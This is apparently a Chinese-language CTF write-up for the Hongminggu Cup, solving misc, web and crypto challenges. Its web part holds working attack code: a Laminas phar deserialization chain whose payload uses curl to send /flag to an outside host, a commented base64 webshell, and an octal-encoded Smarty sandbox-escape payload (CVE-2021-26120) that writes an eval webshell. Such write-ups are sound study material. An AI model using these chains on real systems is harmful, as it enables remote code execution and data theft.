前言

虽然今年红明谷杯没有了re和pwn,但是题目还是挺难的,只能说现在CTF越来越难、越来越卷了
然后就是经典赛后几分钟出flag了,有点可惜差一点就能进了~

Misc

签到

公众号发送问卷链接得到flag

MissingFile

好像被攻击者入侵了,但是赶到现场的时候,已经只剩下一个空的文件夹了,快照能找到攻击者留下的秘密吗?

直接strings得到flag

# strings memory | grep flag{
flag{Hide_Behind_Windows}
flag{Hide_Behind_Windows}
flag{Hide_Behind_Windows}
flag{Hide_Behind_Windows}

重要系统

题目内容:我们获取到了一个重要的目标环境!尝试获取其中的重要信息吧!
(本题容器下发后的端口是ssh端口,ssh的账号密码请分析附件后得到)
hint1:流量包似乎是攻击者在探测溢出点和RIP?

分析键盘流量,直接跑脚本得到ssh账号密码

[+] Found : kkkjjaaadjjjhaaaaajdhkkjjhhaakkk<DEL>wangwang<RET>lovellanllna<DEL><DEL>an<RET>ssh<SPACE>player@172.2.0.2<RET>yes<RET>guest<RET>hhhdddfsssssdfffhhsssssfhsssssdffsssssddvvvvvhssssssfvkkjhhkkvvvsssjjjjaagfffggsddffssddfuppoouuukkkaahhhfflkkddddddj

这里ssh连接时需要ctrl c一下终止操作实现逃逸,然后就一直在想如何提权到比赛结束了,试了下grep没想到里面真就藏有flag (⊙﹏⊙)

Web

Fan website

首先存在源码泄露,下载下来
根据官方手册:https://laminas.org.cn/的说明,该文件是作者写的路由

public function imgdeleteAction()
   {
       $request = $this->getRequest();
       if(isset($request->getPost()['imgpath'])){
           $imgpath = $request->getPost()['imgpath'];
           $base = substr($imgpath,-4,4);
           if(in_array($base,$this->white_list)){     //白名单
               @unlink($imgpath);
           }else{
               echo 'Only Img File Can Be Deleted!';
           }
       }
   }

审计发现只允许上传图片,但是过滤写的太明显了

public function imguploadAction()
{
    $form = new UploadForm('upload-form');

    $request = $this->getRequest();
    if ($request->isPost()) {
        // Make certain to merge the $_FILES info!
        $post = array_merge_recursive(
            $request->getPost()->toArray(),
            $request->getFiles()->toArray()
        );

        $form->setData($post);
        if ($form->isValid()) {
            $data = $form->getData();
            $base = substr($data["image-file"]["name"],-4,4);
            if(in_array($base,$this->white_list)){   //白名单限制
                $cont = file_get_contents($data["image-file"]["tmp_name"]);
                if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                    die("Not This");
                }
                if($data["image-file"]["size"]<3000){
                    die("The picture size must be more than 3kb");
                }
                $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                echo $img_path;
                $form->saveImg($data["image-file"]["tmp_name"],$img_path);
            }else{
                echo 'Only Img Can Be Uploaded!';
            }
            // Form is valid, save the form!
            //return $this->redirect()->toRoute('upload-form/success');
        }
    }

    return ['form' => $form];
}

这种一看就是phar反序列化绕过的过滤,那么看看触发点,给的也很明显,该imgpath是自由可控的,所以直接可以写进去

public function imgdeleteAction()
{
    $request = $this->getRequest();
    if(isset($request->getPost()['imgpath'])){
        $imgpath = $request->getPost()['imgpath'];
        $base = substr($imgpath,-4,4);
        if(in_array($base,$this->white_list)){     //白名单
            @unlink($imgpath);
        }else{
            echo 'Only Img File Can Be Deleted!';
        }
    }
}

链子可以直接用这个打:https://xz.aliyun.com/t/8975#toc-7

if(in_array($base,$this->white_list)){   //白名单限制
                 $cont = file_get_contents($data["image-file"]["tmp_name"]);
                 if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                     die("Not This");
                 }
                 if($data["image-file"]["size"]<3000){
                     die("The picture size must be more than 3kb");
                 }
                 $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;

但是需要绕过,前者的绕过可以用gzip压缩进行绕过,而大小的话可以通过

$phar->addFromString

写入没有意义的字符串来增大,因为我们要知道,phar反序列化实际上是通过篡改了stub的文件头,而phar文件的本意是压缩php文件,所以我们是可以写入无用的数据来填充的,那么稍微改一下就可以拼凑出来exp:

<?php

namespace Laminas\View\Resolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace Laminas\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}


namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}

    class Mail extends AbstractWriter{
//        protected $eventsToMail = ["echo PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==|base64 -d >public/img/1.php"];
        //这里由于远程的设置没办法访问到文件
        protected $eventsToMail = ["curl http://ip?a=`cat /flag|base64`"];
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
}


namespace{
    $a = new \Laminas\Log\Logger();
    echo urlencode(serialize($a));
    unserialize(serialize($a));
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = $a;
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", str_repeat("wuhuhuhuhuhw",999999)); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
//    echo base64_encode(serialize(new Logger()));
}

这样就可以生产phar了,然后用gzip打包就能传上去了

gzip phar.jpg
mv phar.jpg.gz phar.jpg

上传文件后,在删除这里触发即可得到flag

Smarty_calculator

依旧存在源码泄露,下载下来审计
index.php对cookie有判断,是否存在cookie是否存在login,这里加个cookie:login=1就能绕过
这里data传进去之后被 Smarty的display方法处理
因为包含了Smarty/Smarty.class.php。跟进寻找 Smarty->display();这里的Smarty继承了Smarty_Internal_TemplateBase,在Smarty里没有找到display();跟进Smarty_Internal_TemplateBase;类

public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
    // display template
    $this->_execute($template, $cache_id, $compile_id, $parent, 1);
}

这里dispaly调用了_execute方法,继续更进_execute
审到这里似曾相识,原来是smarty存在模板注入(CVE-2021-26120)
参考链接:https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html
然后可以直接利用,但是这里对输入内容有过滤
需要绕一下,这里转成八进制数,这种东西还是很好绕的
payload:

eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\62\\63\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\141\\141\\141\\47\\135\\51\\73\\77\\76\")"}

然后蚁剑连接,在根目录下得到flag

Crypto

easy_ya

from Crypto.Util.number import *

r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473
M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558
n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287
e = 3
c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282

kbits = 100
m0 = M
PR.<x> = PolynomialRing(Zmod(n))
f = ((M + x*r)^e) - c
f = f.monic()
x0 = f.small_roots(X=2^kbits,beta=1)[0]
print(x0)
m = M + x0*r
print(long_to_bytes(m))